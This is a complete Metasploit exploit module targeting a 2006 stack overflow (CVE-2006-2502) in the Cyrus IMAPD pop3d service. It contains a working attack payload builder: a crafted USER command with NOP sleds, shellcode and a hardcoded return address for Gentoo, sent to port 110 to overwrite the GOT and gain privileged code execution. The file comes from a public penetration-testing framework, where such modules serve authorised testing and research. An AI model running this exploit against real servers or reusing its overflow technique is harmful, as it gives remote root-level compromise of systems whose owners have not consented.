## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow', 'Description' => %q{ This exploit takes advantage of a stack based overflow. Once the stack corruption has occured it is possible to overwrite a pointer which is later used for a memcpy. This gives us a write anything anywhere condition similar to a format string vulnerability. NOTE: The popsubfolders option is a non-default setting. I chose to overwrite the GOT with my shellcode and return to it. This defeats the VA random patch and possibly other stack protection features. Tested on gentoo-sources Linux 2.6.16. Although Fedora CORE 5 ships with a version containing the vulnerable code, it is not exploitable due to the use of the FORTIFY_SOURCE compiler enhancement }, 'Author' => [ 'bannedit', 'jduck' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2006-2502' ], [ 'OSVDB', '25853' ], [ 'BID', '18056' ], [ 'EDB', '2053' ], [ 'EDB', '2185' ], [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-05/0527.html' ], ], 'Payload' => { 'Space' => 250, 'DisableNops' => true, }, 'Platform' => 'linux', 'Targets' => [ # bannedit: 0x080fd204 # K-sPecial: 0x8106c20 (debian 3.1 - 2.6.16-rc6) [ 'Gentoo 2006.0 Linux 2.6', { 'Ret' => 0x080fd318 } ], ], 'Privileged' => true, 'DisclosureDate' => 'May 21 2006', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(110) ], self.class ) end def exploit connect banner = sock.get_once.to_s.strip print_status "Banner: #{banner}" # NOTE: orig poc shellcode len: 84 # kcope: 352+84+86+4 (nops,sc,nops,ret) # K-sPecial: 84+(120*4) (sc,addrs) # bannedit: 265+8+250+29+16 shellcode = payload.encoded buf = "USER " buf << make_nops(265) # return address buf << [target.ret].pack('V') * 2 buf << make_nops(250 - shellcode.length) buf << shellcode buf << make_nops(29) sc_addr = target.ret - 277 buf << [sc_addr].pack('V') * 4 buf << "\r\n" sock.send(buf, 0) disconnect end end